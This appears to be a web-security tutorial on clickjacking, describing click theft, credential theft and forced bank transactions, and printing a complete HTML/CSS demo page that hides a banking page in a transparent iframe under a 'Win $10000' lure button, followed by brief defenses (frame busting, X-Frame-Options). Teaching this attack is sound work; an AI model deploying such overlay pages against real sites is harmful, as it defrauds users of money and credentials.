A clickjacking attack is a type of web-security vulnerability in which the attacker can insert an invisible web page into the background of a dummy display page visible to the user
Such an attack intends to mislead the user into performing an unwanted action and is typically employed to steal clicks, extract sensitive information, or perform specific unwanted tasks on behalf of the user/victim. The attacks are described below:
Advertisement companies rely on the number of clicks they get on an advertisement for their revenue. The more clicks they have, the higher their revenue. Therefore, many websites and companies try to hide their ads inside the webpage so that users unknowingly click the advertisement and are taken to the advertiser's page.
To steal clicks, the attacker places the dummy page (visible to the user) in the background and the original page (which contains the ad) in the foreground. The opacity of the original page is set to 0. As a result, it is not visible to the user.
The user might want to click something on the dummy page (which is in the background), and they might end up clicking the ad on the foreground page.
Clickjacking can be used to steal sensitive information from users. To carry out this attack, the attacker makes a dummy page that looks exactly like some other trusted website, for example, a bank's online portal. Then they place this dummy page in the background and their own invisible malicious web page in the foreground.
In this way, the user is tricked into believing that they have safely landed on the bank page (dummy page), and they input their login details.
However, in reality, they input their information on the malicious web page, and now the attacker will have access to the user's login details. So, they can now perform any bank transaction on behalf of the user.
The code for a clickjacking attack is as follows:
<!DOCTYPE html>
<html>
<head>
<title>Win Win</title>
<style>
body {
margin: 0;
padding: 0;
background-color: purple;
font-family: "Arial";
z-index: 1;
}
.win {
width: 382px;
overflow: hidden;
margin: auto;
margin: 70 0 0 10px;
padding-left: 80px;
}
#winbutton {
width: 300px;
height: 50px;
border: none;
border-radius: 20px;
padding-left: 7px;
font-size: 30px;
color: purple;
}
h3 {
text-align: center;
font-size: 50px;
color: #ffffff;
}
h4 {
text-align: center;
font-size: 30px;
color: #ffffff;
}
#iframe {
/* we do not need the borders so setting it to none */
border: none;
/* as this is a clickjacker attack thus the hidden page should not be visible so the opacity is set to 0*/
opacity: 0;
position: absolute;
/* the following values were decided by trial and error to align both the buttons */
padding-top: 10px;
height: 900px;
width: 1600px;
top: 0;
}
</style>
</head>
<body>
<br /><br />
<br /><br />
<h3>Your Lucky Page</h3>
<h4>Now win $10000 on just 1 click</h4>
<br />
<div class="win">
<br /><br />
<br /><br />
<button
type="button"
onclick="location.href='';"
name="winbutton"
id="winbutton"
>
Win $10000
</button>
</div>
<!-- the following line adds dummy_hbl.html as an inline frame and assigns it an id of "iframe" so we can access it with this id later for styling purposes-->
<iframe src="original_bankPage.html" id="iframe"></iframe>
</body>
</html>Note: Click the link above to view the output.
In the code example above, the dummy page is the promo page displaying "Now win $10000 on just 1 click," and the original page is the page of an online banking portal.
Initially, the dummy page (index.html) will load in the user's browser. Then in line 74, there is an inline frame (also known as iframe) that loads the original page (the online banking portal page) in the foreground.
Styles for this page are written from lines 40-51 using the ID that we assigned to the iframe. We try to set the height, width, and paddings iframe in such a way that the "win $10000 button" coincides with the "Proceed" button.
So, when the user tries to click the "win $10000" button, they accidentally click the "Proceed" button. The attacker prefills the amount in the amount column. As the transaction happens from our computer, the chances are that we are already logged into our banking portal, and we have a cookie (set by the bank's online portal) on our computer that helps us to stay logged in.
As per the normal HTTP protocols, if a cookie is already set, that cookie is included in the HTTP request sent to the bank. Therefore, the bank thinks that the user is already logged in, and they will authorize them to make the transaction.
Two major defense mechanisms are employed in commercial websites to safeguard websites from click-jacking attacks.
Frame Busting: It is a technique that ensures that the vulnerable web pages of a website can not be injected as an iframe into another web page.
HTTP X-Frame-Options header: It enables a website to white-list domains that add it as an iframe. Only domains listed in this list are trusted and secure and can be added as an inframe.
Free Resources